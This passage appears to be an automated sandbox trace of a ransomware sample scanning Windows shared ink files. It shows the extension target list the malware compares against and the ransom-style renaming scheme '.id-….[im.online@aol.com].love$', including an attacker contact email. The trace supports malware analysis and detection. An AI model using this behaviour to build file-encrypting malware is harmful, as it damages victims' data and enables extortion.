lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString=".doc") returned 4 [0283.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString=".docx") returned 5 [0283.847] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0283.847] lstrlenW (lpString=".pdf") returned 4 [0283.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString=".xls") returned 4 [0283.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString=".xlsx") returned 5 [0283.847] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0283.847] lstrlenW (lpString=".ppt") returned 4 [0283.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString=".zip") returned 4 [0283.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.847] lstrlenW (lpString=".rar") returned 4 [0283.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString=".bz2") returned 4 [0283.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString=".7z") returned 3 [0283.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString=".dbf") returned 4 [0283.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.848] lstrlenW (lpString=".1cd") returned 4 [0283.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.848] lstrlenW (lpString=".jpg") returned 4 [0283.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.848] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.848] lstrlenW (lpString="base_heb.xml") returned 12 [0283.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.849] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=738) returned 1 [0283.849] CloseHandle (hObject=0x35c) returned 1 [0283.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0283.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.849] lstrlenW (lpString=".doc") returned 4 [0283.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".docx") returned 5 [0283.850] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0283.850] lstrlenW (lpString=".pdf") returned 4 [0283.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".xls") returned 4 [0283.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".xlsx") returned 5 [0283.850] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0283.850] lstrlenW (lpString=".ppt") returned 4 [0283.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString=".zip") returned 4 [0283.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.850] lstrlenW (lpString=".rar") returned 4 [0283.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".bz2") returned 4 [0283.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".7z") returned 3 [0283.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString=".dbf") returned 4 [0283.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString=".1cd") returned 4 [0283.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString=".jpg") returned 4 [0283.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.850] lstrlenW (lpString=".doc") returned 4 [0283.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.850] lstrlenW (lpString=".docx") returned 5 [0283.851] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0283.851] lstrlenW (lpString=".pdf") returned 4 [0283.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString=".xls") returned 4 [0283.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString=".xlsx") returned 5 [0283.851] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0283.851] lstrlenW (lpString=".ppt") returned 4 [0283.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.851] lstrlenW (lpString=".zip") returned 4 [0283.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.851] lstrlenW (lpString=".rar") returned 4 [0283.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString=".bz2") returned 4 [0283.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString=".7z") returned 3 [0283.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.851] lstrlenW (lpString=".dbf") returned 4 [0283.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.851] lstrlenW (lpString=".1cd") returned 4 [0283.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0283.851] lstrlenW (lpString=".jpg") returned 4 [0283.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.851] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.852] lstrlenW (lpString="base_jpn.xml") returned 12 [0283.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.852] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=804) returned 1 [0283.852] CloseHandle (hObject=0x35c) returned 1 [0283.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0283.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.853] lstrlenW (lpString=".doc") returned 4 [0283.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.853] lstrlenW (lpString=".docx") returned 5 [0283.853] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0283.853] lstrlenW (lpString=".pdf") returned 4 [0283.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.853] lstrlenW (lpString=".xls") returned 4 [0283.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.853] lstrlenW (lpString=".xlsx") returned 5 [0283.853] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0283.853] lstrlenW (lpString=".ppt") returned 4 [0283.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.853] lstrlenW (lpString=".zip") returned 4 [0283.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.853] lstrlenW (lpString=".rar") returned 4 [0283.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString=".bz2") returned 4 [0283.854] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString=".7z") returned 3 [0283.854] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString=".dbf") returned 4 [0283.854] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString=".1cd") returned 4 [0283.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString=".jpg") returned 4 [0283.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString=".doc") returned 4 [0283.854] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString=".docx") returned 5 [0283.854] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0283.854] lstrlenW (lpString=".pdf") returned 4 [0283.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString=".xls") returned 4 [0283.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString=".xlsx") returned 5 [0283.854] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0283.854] lstrlenW (lpString=".ppt") returned 4 [0283.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.854] lstrlenW (lpString=".zip") returned 4 [0283.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.855] lstrlenW (lpString=".rar") returned 4 [0283.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.855] lstrlenW (lpString=".bz2") returned 4 [0283.855] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.855] lstrlenW (lpString=".7z") returned 3 [0283.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.855] lstrlenW (lpString=".dbf") returned 4 [0283.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.855] lstrlenW (lpString=".1cd") returned 4 [0283.855] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0283.855] lstrlenW (lpString=".jpg") returned 4 [0283.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.855] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.855] lstrlenW (lpString="base_kor.xml") returned 12 [0283.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.856] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=488) returned 1 [0283.856] CloseHandle (hObject=0x35c) returned 1 [0283.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0283.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.857] lstrlenW (lpString=".doc") returned 4 [0283.857] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString=".docx") returned 5 [0283.857] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0283.857] lstrlenW (lpString=".pdf") returned 4 [0283.857] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString=".xls") returned 4 [0283.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString=".xlsx") returned 5 [0283.857] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0283.857] lstrlenW (lpString=".ppt") returned 4 [0283.857] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.857] lstrlenW (lpString=".zip") returned 4 [0283.857] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.857] lstrlenW (lpString=".rar") returned 4 [0283.857] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString=".bz2") returned 4 [0283.857] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.857] lstrlenW (lpString=".7z") returned 3 [0283.857] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString=".dbf") returned 4 [0283.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString=".1cd") returned 4 [0283.858] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString=".jpg") returned 4 [0283.858] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString=".doc") returned 4 [0283.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString=".docx") returned 5 [0283.858] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0283.858] lstrlenW (lpString=".pdf") returned 4 [0283.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString=".xls") returned 4 [0283.858] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString=".xlsx") returned 5 [0283.858] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0283.858] lstrlenW (lpString=".ppt") returned 4 [0283.858] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.858] lstrlenW (lpString=".zip") returned 4 [0283.858] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.859] lstrlenW (lpString=".rar") returned 4 [0283.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.859] lstrlenW (lpString=".bz2") returned 4 [0283.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.859] lstrlenW (lpString=".7z") returned 3 [0283.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.859] lstrlenW (lpString=".dbf") returned 4 [0283.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.859] lstrlenW (lpString=".1cd") returned 4 [0283.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0283.859] lstrlenW (lpString=".jpg") returned 4 [0283.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.859] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.859] lstrlenW (lpString="base_rtl.xml") returned 12 [0283.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.861] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=617) returned 1 [0283.861] CloseHandle (hObject=0x35c) returned 1 [0283.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0283.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.862] lstrlenW (lpString=".doc") returned 4 [0283.862] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString=".docx") returned 5 [0283.862] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0283.862] lstrlenW (lpString=".pdf") returned 4 [0283.862] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString=".xls") returned 4 [0283.862] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString=".xlsx") returned 5 [0283.862] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0283.862] lstrlenW (lpString=".ppt") returned 4 [0283.862] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.862] lstrlenW (lpString=".zip") returned 4 [0283.862] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.862] lstrlenW (lpString=".rar") returned 4 [0283.862] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString=".bz2") returned 4 [0283.862] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.862] lstrlenW (lpString=".7z") returned 3 [0283.862] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.862] lstrlenW (lpString=".dbf") returned 4 [0283.863] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.863] lstrlenW (lpString=".1cd") returned 4 [0283.863] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.863] lstrlenW (lpString=".jpg") returned 4 [0283.863] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.863] lstrlenW (lpString=".doc") returned 4 [0283.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString=".docx") returned 5 [0283.863] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0283.863] lstrlenW (lpString=".pdf") returned 4 [0283.863] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString=".xls") returned 4 [0283.863] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString=".xlsx") returned 5 [0283.863] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0283.863] lstrlenW (lpString=".ppt") returned 4 [0283.863] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.863] lstrlenW (lpString=".zip") returned 4 [0283.863] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.863] lstrlenW (lpString=".rar") returned 4 [0283.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.864] lstrlenW (lpString=".bz2") returned 4 [0283.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.864] lstrlenW (lpString=".7z") returned 3 [0283.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.864] lstrlenW (lpString=".dbf") returned 4 [0283.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.864] lstrlenW (lpString=".1cd") returned 4 [0283.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0283.864] lstrlenW (lpString=".jpg") returned 4 [0283.864] lstrcmpiW 